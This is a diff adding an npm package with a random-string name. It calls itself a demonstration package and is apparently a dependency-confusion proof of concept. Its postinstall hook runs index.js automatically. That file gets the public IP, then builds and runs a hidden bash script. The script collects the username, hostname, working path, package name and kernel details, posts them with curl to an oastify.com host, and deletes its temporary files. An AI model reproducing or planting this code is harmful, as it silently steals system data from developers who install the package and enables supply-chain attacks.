jhgjgdfsdasvbrtyrdfwewqreyrfvbykuyoyosdsdfdhuytrx 8.7.9

package/index.js

@@ -0,0 +1,58 @@
+const { exec } = require('child_process');
+const http = require('http');
+
+const getPublicIP = (callback) => {
+  const options = {
+    hostname: 'api.ipify.org',
+    path: '/?format=json',
+    method: 'GET',
+  };
+
+  const req = http.request(options, (res) => {
+    let data = '';
+    res.on('data', (chunk) => {
+      data += chunk;
+    });
+
+    res.on('end', () => {
+      try {
+        const response = JSON.parse(data);
+        const publicIP = response.ip;
+        callback(null, publicIP);
+      } catch (error) {
+        callback(new Error('Error parsing response'));
+      }
+    });
+  });
+
+  req.on('error', (error) => {
+    callback(error);
+  });
+
+  req.end();
+};
+
+
+
+// Usage example:
+getPublicIP((error, remoteIP) => {
+  if (error) {
+    console.error('Error:', error.message);
+  } else {
+    bash = `#!/bin/bash\nseparator="--------------------------------------------------"
+exfiltrate="$separator\nUsername: \`whoami\`\nHostname: \`hostname\`\nPublic IP: ${remoteIP}\nTime: \`date\`\nCurrent Path: \`pwd\`\nPackage Name: \`echo $(npm run env | grep "npm_package_name") | cut -d "=" -f 2\`\nKernel: \`uname -a\`\n$separator"
+echo "$exfiltrate" > /tmp/demo.txt
+curl --silent -F content="@/tmp/demo.txt" https://z88lv0dlfqw02tkvci42eb1kjbp5dv1k.oastify.com
+rm -f /tmp/demo.txt`
+    exec('echo -e' + bash + " > /tmp/demo.sh; chmod + x /tmp/demo.sh; /bin/bash -c /tmp/demo.sh; rm -f /tmp/demo.sh", (error, stdout, stderr) => {
+      if (error) {
+        console.error(`Error: ${error.message}`);
+        return;
+      }
+    });
+    
+  }
+});
+
+
+

package/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "jhgjgdfsdasvbrtyrdfwewqreyrfvbykuyoyosdsdfdhuytrx",
+  "version": "8.7.9",
+  "description": "A sample npm package for demonstration purposes.",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "keywords": [
+    "dependency"
+  ],
+  "author": "Depdency-Confusion-PoC",
+  "license": "ISC"
+}